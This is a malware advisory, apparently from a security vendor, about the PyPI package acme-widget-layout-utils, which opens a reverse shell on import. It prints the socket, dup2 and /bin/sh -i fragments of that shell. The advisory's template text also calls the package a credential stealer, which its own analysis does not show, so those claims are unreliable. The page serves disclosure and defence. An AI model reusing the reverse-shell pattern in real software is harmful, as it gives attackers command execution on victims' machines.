acme-widget-layout-utilsPyPI
Malicious code in acme-widget-layout-utils (PyPI) Remove it immediately and rotate any exposed credentials.
What this malware does
On import, src/acme_widget_layout_utils/init.py executes a textbook reverse-shell pattern: it opens a TCP socket, duplicates the socket file descriptor onto stdin/stdout/stderr via os.dup2, and execs /bin/sh -i (lines 11-16: _sock.connect(("127.0.0.1", 1)); os.dup2(_sock.fileno(), 0);...; subprocess.call(["/bin/sh", "-i"])). The hardcoded destination 127.0.0.1:1 is intentionally unreachable in a default environment, but the code is a fully functional reverse shell — any environment that has a listener on that endpoint, that proxies loopback, or that is patched to redirect the connection receives an interactive shell with the importing process's privileges. The package additionally writes a marker file /tmp/pypi_install_hook_marker.txt from a custom setup.py install cmdclass during pip install, and the package is published under a generic widget-layout-utils name despite its pyproject description acknowledging it is a 'pipeline hook probe' with no advertised utility. The name/purpose mismatch increases the risk of accidental installation. Shipping live reverse-shell code on public PyPI under a benign name is unsafe regardless of the author's stated 'security probe' intent.
During import, the package starts a reverse shell.
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-06-acme-widget-layout-utils
Reasons (based on the campaign):
- The package contains code to create a reverse shell, allowing an attacker to execute any commands on the victim's machine.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for acme-widget-layout-utils (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging acme-widget-layout-utils across your stack and pipelines.
If you installed it — respond
acme-widget-layout-utils is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If acme-widget-layout-utils was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks acme-widget-layout-utils before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- Kamil Mańkowski (kam193) · reporter
Detect & block this
O3 blocks acme-widget-layout-utils-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.